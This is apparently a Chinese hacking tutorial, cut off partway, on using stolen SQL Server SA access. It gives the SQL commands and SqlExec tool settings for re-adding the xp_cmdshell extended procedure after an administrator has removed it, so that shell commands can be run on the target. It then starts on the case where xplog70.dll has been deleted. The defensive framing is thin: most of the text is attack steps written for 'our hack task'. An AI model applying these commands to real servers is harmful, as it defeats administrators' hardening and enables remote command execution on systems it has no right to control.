SQL Server SA权限总结经典技术
SQL Server SA权限总结经典技术
前提需要工具:SQL Query Analyzer和SqlExec Sunx Version第一部分:
有关去掉xp_cmdshell来保护系统的分析总结:
首先知道一下语句:
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
2.添加xp_cmdshell扩展过程的方法是使用如下语句:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
现在看看现象:
我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法:
方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者对Sql2000情况下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc 'xp_cmdshell'就可以了
第二部分:
假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示数据库中已存在名为'xp_cmdshell'的对象。

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